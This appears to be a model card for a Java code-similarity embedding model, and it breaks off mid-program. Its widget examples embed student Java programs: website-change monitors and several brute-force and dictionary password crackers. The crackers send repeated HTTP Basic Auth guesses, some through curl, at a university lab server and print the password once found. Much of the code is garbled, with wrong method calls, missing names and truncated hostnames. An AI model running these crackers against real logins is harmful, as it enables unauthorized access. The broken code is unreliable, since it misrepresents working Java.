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SOCO-Java-CodeT5Small-ST

Sentence Similarity
sentence-transformers
Safetensors
t5
feature-extraction
Generated from Trainer
dataset_size:33411
loss:BatchAllTripletLoss
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SOCO-Java-CodeT5Small-ST / README.md
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--- tags: - sentence-transformers - sentence-similarity - feature-extraction - generated_from_trainer - dataset_size:33411 - loss:BatchAllTripletLoss base_model: Salesforce/codet5-small widget: - source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\ \npublic class WatchDog extends TimerTask{\n\n private static URL location;\n\ \ private static String email;\n private static int checktime;\n private static\ \ Timer timer = new Timer();\n private BufferedReader input;\n private File\ \ checksumFile = new File(\"chksum.txt\");\n private File temp0000File = new\ \ File(\"temp0000\");\n private File kept0000File = new File(\"kept0000\");\n\ \n \n\n public WatchDog(){\n timer.schedule(this, new Date(), checktime);\n\ \ }\n\n\n \n\n public void run(){\n Vector imageFiles = new\ \ Vector();\n Vector diffImages = new Vector();\n try {\n \ \ System.out.println(\" Time: \".concat(new Date().toString()));\n \ \ System.out.println(\"Retreiving File\");\n \n input = new\ \ BufferedReader(new InputStreamReader\n (location.openStream()));\n\ \ \n BufferedWriter outputFile = new BufferedWriter\n \ \ (new FileWriter(temp0000File));\n String line = input.readLine();\n\ \ while (line != null) {\n StringBuffer imageFileName = new\ \ StringBuffer();\n if (scanForImages(line, imageFileName)) {\n \ \ String imageFile = new String(imageFileName);\n System.out.println(\"\ Detected image: \".concat(imageFile));\n try {\n imageFiles.add(new\ \ URL(imageFile));\n }\n catch (MalformedURLException\ \ e) {\n System.out.println(\"Image file detected. URL is malformed\"\ );\n }\n }\n outputFile.write(line);\n \ \ outputFile.write(\"\\n\");\n line = input.readLine();\n \ \ }\n input.print();\n outputFile.flush();\n \ \ outputFile.print();\n System.out.println(\" File Retreived\");\n \ \ if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n\ \ }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(),\ \ checksumFile);\n }\n else {\n if (!checksumOk(checksumFile))\ \ {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n\ \ generateChecksum(temp0000File.getName(), checksumFile);\n \ \ }\n else if (!diffImages.isEmpty()){\n reportDifferences(false,\ \ null, null, diffImages);\n }\n }\n\n \n \ \ temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time:\ \ \".concat(new Date().toString()));\n }\n catch (MalformedURLException\ \ e) {\n e.printStackTrace();\n }\n catch (ConnectException\ \ e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n\ \ }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n\n \n\n public boolean\ \ scanForImages(String line, StringBuffer imageFileName) {\n \n \ \ \n String lineIgnoreCase = line.toLowerCase();\n int imgPos =\ \ lineIgnoreCase.indexOf(\"<img \");\n if ( imgPos != -1 ){\n \ \ int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n int bracketPos\ \ = lineIgnoreCase.indexOf(\">\", imgPos);\n if (srcPos != -1 && bracketPos\ \ != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\ \\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\ , quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n \ \ quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \ \ \n imageFileName.append(line.substring(quote1Pos + 1,\n \ \ quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1\ \ ) {\n \n String URLName = location.toString();\n\ \ int slashPos = URLName.lastIndexOf(\"/\");\n URLName\ \ = URLName.substring(0, slashPos);\n String HostName = \"http://\"\ .concat(location.getHost());\n if (imageFileName.indexOf(\"//\"\ ) == 0) {\n \n }\n else if (imageFileName.charAt(0)\ \ != '/') {\n \n imageFileName.insert(0, URLName.concat(\"\ /\"));\n }\n else {\n \n \ \ imageFileName.insert(0, HostName);\n }\n \ \ }\n return true;\n }\n }\n }\n \ \ return false;\n }\n\n \n\n public void checkImages(Vector\ \ imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"\ Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n\ \ while (imageFilesEnumeration.hasMoreElements()) {\n URL url\ \ = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream\ \ imageInput = new BufferedInputStream\n (url.openStream());\n\ \ String localFile = url.getFile();\n \n \n \ \ \n \n \n int slashPosition = localFile.lastIndexOf(\"\ /\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n\ \ }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n\ \ BufferedOutputStream imageOutput = new BufferedOutputStream\n \ \ (new FileOutputStream(localFile));\n byte bytes[] = new\ \ byte[10000];\n int noBytes = imageInput.get(bytes);\n \ \ while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n\ \ noBytes = imageInput.print(bytes);\n }\n \ \ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n \ \ if (!imageChecksumFile.exists()) {\n generateChecksum(localFile,\ \ imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile))\ \ {\n diffImages.add(localFile);\n generateChecksum(localFile,\ \ imageChecksumFile);\n }\n }\n }\n \ \ catch (FileNotFoundException e) {\n System.out.println(\"Unable \ \ locate URL: \".concat(url.toString()));\n }\n }\n }\n\n\ \ \n\n public void generateChecksum(String inputFile, File checksum){\n\ \ try {\n System.out.println(\"Generating new checksum for \"\ .concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"\ md5sum \".\n concat(inputFile));\n\ \ BufferedReader execCommand = new BufferedReader(new\n \ \ InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile\ \ = new\n BufferedWriter(new FileWriter(checksum));\n String\ \ line = execCommand.readLine();\n while (line != null) {\n \ \ outputFile.write(line);\n outputFile.write(\"\\n\");\n \ \ line = execCommand.readLine();\n }\n outputFile.flush();\n\ \ outputFile.print();\n System.out.println(\"Checksum produced\"\ );\n }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n\n \n\n public boolean\ \ checksumOk(File chksumFile){\n try {\n System.out.println(\"\ Comparing checksums using \".concat(chksumFile\n ,e.getName()));\n\ \ \n Process process = Runtime.getRuntime().\n \ \ exec(\"md5sum --check \".concat(chksumFile.getName()));\n BufferedReader\ \ execCommand = new BufferedReader(new\n InputStreamReader( (process.getInputStream())));\n\ \ String line = execCommand.readLine();\n if (line.indexOf(\"\ : OK\") != -1) {\n System.out.println(\" the same\");\n \ \ return true;\n }\n }\n catch (IOException e) {\n \ \ e.printStackTrace();\n System.exit(-1);\n }\n System.out.println(\"\ Differences Found\");\n return false;\n }\n\n \n\n public\ \ void reportDifferences(boolean diffsFound, File file1, File file2,\n \ \ Vector images){\n try {\n System.out.println(\"\ Generating difference report\");\n \n Socket emailConnection\ \ = new Socket(\"yallara.cs.rmit.edu.\", 25);\n BufferedWriter emailOutStream\ \ = new BufferedWriter\n (new OutputStreamWriter(emailConnection.getOutputStream()));\n\ \ BufferedReader emailInStream = new BufferedReader\n (new\ \ InputStreamReader(emailConnection.getInputStream()));\n String line\ \ = emailInStream.readLine();\n System.out.println(line);\n \ \ if (!line.startsWith(\"220\")) {\n System.out.println\n \ \ (\" error occured connecting email server. Cannot send email.\");\n\ \ }\n else {\n \n \n emailOutStream.write(\"\ HELO yallara.cs.rmit.edu.\");\n emailOutStream.newLine();\n \ \ emailOutStream.flush();\n line = emailInStream.readLine();\n\ \ System.out.println(line);\n if (!line.startsWith(\"250\"\ )) {\n System.out.println\n (\" error occured\ \ connecting email server. Cannot send email.\");\n }\n \ \ else {\n emailOutStream.write(\"MAIL FROM: watchdog@cs.rmit.edu.\"\ );\n emailOutStream.newLine();\n emailOutStream.flush();\n\ \ line = emailInStream.readLine();\n System.out.println(line);\n\ \ if (!line.startsWith(\"250\")) {\n System.out.println\n\ \ (\" error occured sending email. Cannot send email.\");\n\ \ }\n else {\n emailOutStream.write(\"\ RCPT : \".concat(email));\n emailOutStream.newLine();\n \ \ emailOutStream.flush();\n line = emailInStream.readLine();\n\ \ System.out.println(line);\n if (!line.startsWith(\"\ 250\")) {\n System.out.println\n (\" error\ \ occured sending email. Cannot send email.\");\n }\n \ \ else {\n emailOutStream.write(\"DATA\");\n \ \ emailOutStream.newLine();\n emailOutStream.flush();\n\ \ line = emailInStream.readLine();\n System.out.println(line);\n\ \ if (!line.startsWith(\"354\")) {\n System.out.println\n\ \ (\" error occured sending email. Cannot send email.\"\ );\n }\n emailOutStream.newLine();\n\n \ \ if (!images.isEmpty()) {\n emailOutStream.write\n\ \ (\"Differences were found in the following image \"\ );\n emailOutStream.newLine();\n Enumeration\ \ e = images.elements();\n while (e.hasMoreElements()) {\n\ \ String s = (String) e.nextElement();\n \ \ emailOutStream.write(s);\n emailOutStream.newLine();\n\ \ }\n emailOutStream.newLine();\n \ \ }\n\n if (diffsFound) {\n \ \ \n String command = \"diff \".concat(file1.getName().concat(\"\ \ \")\n .concat(file2.getName()));\n\ \ Process process = Runtime.getRuntime().exec(command);\n \ \ BufferedReader execCommand = new BufferedReader\n \ \ (new InputStreamReader( (process.getInputStream())));\n \ \ line = execCommand.readLine();\n emailOutStream.write(\"\ Diffences found in file\");\n emailOutStream.newLine();\n\ \ while (line != null) {\n System.out.println(line);\n\ \ emailOutStream.write(line);\n emailOutStream.newLine();\n\ \ line = execCommand.readLine();\n }\n\ \ }\n\n \n emailOutStream.newLine();\n\ \ emailOutStream.write(\".\");\n emailOutStream.newLine();\n\ \ emailOutStream.flush();\n line = emailInStream.readLine();\n\ \ System.out.println(line);\n if (!line.startsWith(\"\ 250\")) {\n System.out.println\n (\"\ \ error occured sending email. Cannot send email.\");\n }\n \ \ else {\n emailOutStream.write(\"QUIT\");\n\ \ emailOutStream.newLine();\n emailOutStream.flush();\n\ \ System.out.println(emailInStream.readLine());\n \ \ }\n }\n }\n }\n }\n\ \ }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n\n\n \n\n public static\ \ void main(String args[]) {\n if (args.length != 3) {\n System.out.println(\"\ Usage: java WatchDog url email checktime(hours)\");\n System.exit(-1);\n\ \ }\n try {\n location = new URL(args[0]);\n }\n catch\ \ (MalformedURLException e) {\n e.printStackTrace();\n }\n email\ \ = new String().concat(args[1]);\n checktime = Integer.parseInt(args[2])\ \ * 60 * 60 * 1000;\n new WatchDog();\n }\n}\n" sentences: - "\n\nimport java.net.*;\nimport java.io.*;\n\nimport java.*;\nimport java.util.*;\n\ \npublic class Dictionary {\n\n private static String commandLine = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\ \ -I -u :\";\n private String password; \n private String previous;\ \ \n private String url; \n private int startTime;\n\ \ private int endTime;\n private int totalTime;\n private float averageTime;\n\ \ private boolean finish;\n private Process curl;\n private BufferedReader\ \ bf, responseLine;\n\n public Dictionary() {\n\n first();\n finish = true;\ \ \n previous = \"\"; \n\ \ Runtime run = Runtime.getRuntime();\n startTime =new Date().getTime(); \ \ \n int i=0;\n try {\n try {\n bf = new BufferedReader(new FileReader(\"\ words\"));\n }\n catch(FileNotFoundException notFound) {\n bf = new BufferedReader(new\ \ FileReader(\"/usr/share/lib/dict/words\"));\n }\n\n while((password = bf.readLine())\ \ != null) {\n if(password.length()>3) password = password.substring(0,3);\n\ \ if(previous.equals(password)) ;\n else {\n previous = password;\n \ \ url = commandLine+password;\n curl= run.exec(url); \n\ \ responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));\n\ \ \n if(responseLine.readLine().substring(9,12).equals(\"200\")) break;\n\ \ }\n }\n }\n catch(IOException ioe) {\n System.out.println(\"\\n IO\ \ Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\ \ System.out.println(\"The current trying password is:\"+password);\n finish=false;\n\ \ }\n\n endTime = new Date().getTime(); \n totalTime = (endTime-startTime)/1000;\n\ \ System.out.println(\" The response time is:\"+ totalTime + \" seconds\\\ n\");\n if(finish) {\n System.out.println(\" The password for is:\"+ password);\n\ \ try {\n savePassword(password, totalTime);\n }\n catch (IOException\ \ ioec) {\n System.out.println(\" not save the password file Dictionary_pwd.txt\ \ \");\n }\n }\n }\n\n\n public void savePassword(String passwdString, int\ \ time) throws IOException {\n DataOutputStream outputStream = new DataOutputStream(new\ \ FileOutputStream(\"Dictionary_pwd.txt\"));\n outputStream.writeChars(\"The\ \ password is:\");\n outputStream.writeChars(passwdString+\"\\n\");\n outputStream.writeChars(\"\ The response time is: \");\n outputStream.writeChars(sw.toString(time));\n outputStream.writeChars(\"\ \ seconds\\n\");\n outputStream.close();\n }\n\n public void first() {\n\n\ \ System.out.println(\"\\n\\n----------------------------------------------\"\ );\n System.out.println(\" Use curl command and dictionary \");\n System.out.println(\"\ \ Brute Force the password for user \");\n System.out.println(\"----------------------------------------------\"\ );\n }\n\n public static void main(String[] args) {\n new Dictionary();\n\ \ } \n}\n" - "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\ \npublic class WatchDog {\n public static void main (String[] args) throws IOException\ \ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\ \ try{\n twentyfourhours = 86400000;\n Timer timer = new Timer();\n \ \ final Runtime rt = Runtime.getRuntime();\n\n try{\n Process wg1 = rt.exec(\"\ ./.sh\");\n wg1.waitFor();\n }\n catch(InterruptedException e ){\n \ \ System.err.println();\n e.printStackTrace();\n }\n\n class RepeatTask\ \ extends TimerTask{\n public void run(){\n try{\n Process wg2\ \ = rt.exec(\"./task.sh\");\n wg2.waitFor();\n FileReader fr = new\ \ FileReader(\"check.txt\");\n BufferedReader bufr = new BufferedReader(fr);\n\ \ String check = bufr.readLine();\n if(check.equals(\".txt: FAILED\"\ )) {\n Process difftosend = rt.exec(\"./diff.sh\");\n difftosend.waitFor();\n\ \ Process reset = rt.exec(\"./.sh\");\n reset.waitFor();\n \ \ }\n FileReader fr2 = new FileReader(\"imgdiffs.txt\");\n BufferedReader\ \ bufr2 = new BufferedReader(fr2);\n String imdiff = bufr2.readLine();\n\ \ if(imdiff != null){\n Process imdifftosend = rt.exec(\"./img.sh\"\ );\n imdifftosend.waitFor();\n Process reset = rt.exec(\"./.sh\"\ );\n reset.waitFor();\n }\n }\n catch(InterruptedException\ \ e){System.err.println();e.printStackTrace();}\n catch(IOException e){\n\ \ System.err.println(e);\n e.printStackTrace();\n }\n }}\n\ \n timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);\n\ \ \n }\n catch(IOException e){\n System.err.println(e);\n e.printStackTrace();\n\ \ }\n \n}}\n" - "\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport\ \ java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer\ \ stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n\ \ int i,j = 0;\n\n try{\n\n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\ ); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\ \n String inputLine = \"\";\n String inputLine1 = \"\";\n String\ \ changedtext= \"\";\n String changedflag= \"\";\n\n\n Thread.sleep(180);\n\ \n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\ \n\n while ((inputLine = in.readLine()) != null) {\n inputLine1\ \ = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n \ \ System.out.println(\"equal\");\n }\n else {\n \ \ System.out.println(\"Detected a Change\");\n System.out.println(\"\ Line Before the change:\" + inputLine);\n System.out.println(\"Line\ \ After the change:\" + inputLine1);\n changedtext = changedtext\ \ + inputLine + inputLine1;\n changedflag = \"Y\";\n }\n\ \ \n }\n\n if (in1.readLine() != null ) {\n System.out.println(\"\ Detected a Change\");\n System.out.println(\"New Lines Added \");\n \ \ changedtext = changedtext + \"New Lines added\";\n changedflag\ \ = \"Y\";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals(\"\ Y\")) {\n String smtphost =\"smtp.mail.rmit.edu.\" ; \n String\ \ from = \"@rmit.edu.\"; \n String = \"janaka1@optusnet..\" ; \n \ \ }\n\n\n }\n catch(Exception e){ System.out.println(\"exception:\" + e);}\n\ \t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\ \t\tWatchDog u = new WatchDog();\n }\n}\n" - source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\ import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\ \ URL url;\n private HttpURLConnection connection ;\n private int stopTime\ \ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\ \ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \ \ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\ \ }\n\n public static void main (String args[])\n {\n BruteForce bf\ \ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\ \ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\ \ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\ \ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\ \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ \ + i2));\n decision(s1);\n count++;\n\n \ \ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\ \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ \ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ \ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ \ count++;\n\n s1 = (String.valueOf((char)(a[0] +\ \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ \ + i2));\n decision(s1);\n count++;\n\n \ \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\ \ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ \ decision(s1);\n count++;\n\n s1 =\ \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ \ count++;\n }\n }\n }\n }\n \n public\ \ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\ \ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\ \ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\ \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ \ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\ \ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \ \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \ \ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\ \ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\ \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ \ count++;\n }\n }\n }\n\n \n public void decision(String\ \ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\ \ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\ );\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\ \\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\ \ Web site: \");\n displayContent(s1);\n System.out.println(\"\ \\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\ \\nNumber of attempts: \" + count);\n System.out.println();\n\n \ \ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\ \ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\ http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\ \n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\ \" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\ \ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\ \ }\n return responseCode;\n }\n\n \n public void displayContent(String\ \ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\ \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\ \ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\ Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\ \ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\ \ {\n InputStreamReader reader = new InputStreamReader (stream);\n\ \ bw = new BufferedReader (reader);\n String line;\n\n\ \ while ((line = bw.readLine()) != null)\n {\n \ \ System.out.println(line);\n }\n }\n }\n \ \ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\ \ }\n }\n}\n\n\n\n\n" sentences: - "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\ \ java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String\ \ urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator\ \ auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\ \n\t System.out.println(\"trying passord: \" + passwd);\n try{\n \ \ URL yahoo = new URL(urlString); \n BufferedReader in =\ \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \ \ String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\ \t System.out.println(inputLine);\n\t System.out.println(\"passord:\ \ \" + passwd);\n returnval = 1;\n }\n\t in.close();\n\ \ }catch(Exception e){ returnval = 0;}\n return returnval;\n \ \ }\n\n public static void main(String argv[]) { \n\n String[] val =\ \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\ m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\ Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n\ \ int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce\ \ s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ ; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n \ \ pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ \ \n if (retval > 0) {\n System.exit(0);\n }\n }\n\ \n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\ \ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\ \ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\ \ if (retval > 0) {\n System.exit(0);\n }\n \ \ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \ \ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\ \ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\ \ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ \ \n if (retval > 0) {\n System.exit(0);\n \ \ }\n }\n }\n }\n\n } \n} \n\n" - "\n \n\n public class Base64Converter\n \n \n {\n\n \ \ public static final char [ ] alphabet = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', \n \ \ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y', 'Z', 'a', 'b', 'c',\ \ 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n \ \ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0',\ \ '1', '2', '3', \n '4', '5', '6', '7', '8', '9', '+', '/' }; \n\n \ \ \n \n\n public static String encode ( String s )\n \n \ \ {\n return encode ( s.getBytes ( ) );\n }\n\n public static\ \ String encode ( byte [ ] octetString )\n \n {\n int bits24;\n\ \ int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length\ \ - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\ \n while ( ( i + 3 ) <= octetString.length )\n {\n \n \ \ bits24 = ( octetString [ i++ ] & 0xFF ) << 16; \n bits24 |=\ \ ( octetString [ i++ ] & 0xFF ) << 8; \n bits24 |= ( octetString [\ \ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18; \n\ \ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24\ \ & 0x0003F000 ) >> 12; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\ \ bits6 = ( bits24 & 0x00000FC0 ) >> 6; \n out [ outIndex++\ \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n \ \ out [ outIndex++ ] = alphabet [ bits6 ]; \n }\n\n if ( octetString.length\ \ - i == 2 )\n {\n \n bits24 = ( octetString [ i \ \ ] & 0xFF ) << 16; \n bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<\ \ 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++\ \ ] = alphabet [ bits6 ]; \n bits6 = ( bits24 & 0x0003F000 ) >> 12; \n\ \ out [ outIndex++ ] = alphabet [ bits6 ]; \n bits6 = ( bits24\ \ & 0x00000FC0 ) >> 6; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\n\ \ \n out [ outIndex++ ] = '='; \n }\n else if (\ \ octetString.length - i == 1 )\n {\n \n bits24 = ( octetString\ \ [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \ \ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24\ \ & 0x0003F000 ) >> 12; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\ \n \n out [ outIndex++ ] = '='; \n out [ outIndex++\ \ ] = '='; \n }\n\n return new String ( out );\n }\n\n \n\ \ \n}\n\n\n" - "\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\n public\ \ static void main(String args[])\n {\n StringWriter sw = new StringWriter();\n\ \ PrintWriter pw = new PrintWriter();\n int flag=1;\n String[] letter\ \ = {\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ M\",\"N\",\n \"O\",\"P\",\"Q\",\"R\",\"T\",\"U\",\"V\"\ ,\"W\",\"X\",\"Y\",\"Z\",\"a\",\"b\",\"c\",\n \"d\",\"\ e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\n\ \ \"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"\ ,\"\"};\n\n String urlString = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ );\n String thePassword= new String();\n stime = System.currentTimeMillis();\n\ System.out.println(\"\");\n for(int i=0; i<letter.length;i++)\n {\n \ \ for(int j=0; j<letter.length; j++)\n {\n for(int k=0;flag==1 &&\ \ k<letter.length; k++)\n {\n try {\n URL url = new\ \ URL (urlString);\n thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim();\n\ \n String userPassword = \"\" + \":\" + thePassword;\n\n \ \ String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());\n\ \ URLConnection uc = url.openConnection();\n uc.setRequestProperty(\"\ Authorization\", \" \" + encoding);\n InputStream content = (InputStream)uc.getContent();\n\ \ endtime = System.currentTimeMillis();\n BufferedReader\ \ in =\n new BufferedReader (new InputStreamReader (content));\n\ \ String line;\n while ((line = in.readLine()) != null)\ \ {\n pw.println (line);\n }\n flag=0;\n \ \ System.out.println(\"process time is : \" +(endtime-stime)/1000 +\" seconds.\"\ );\n }catch (MalformedURLException e) {\n\n flag=1;\n \ \ }catch (IOException e) {\n\n flag=1;\n }\n }\n\ \ if(flag==0)\n break;\n else\n System.out.println(\"\ letter j ->\"+ letter[j]+\" elapsed\");\n }\n if(flag==0)\n \ \ break;\n else\n System.out.println(\"letter i ->\"+ letter[i]+\"\ \ elapsed\");\n }\n System.out.println(\"content is \"+ sw.toString());\n\ \ }\n }" - source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\n\ import javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n\ {\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\ \t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\ \tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\ \ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\ \ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\ );\n\t\t\tin = new 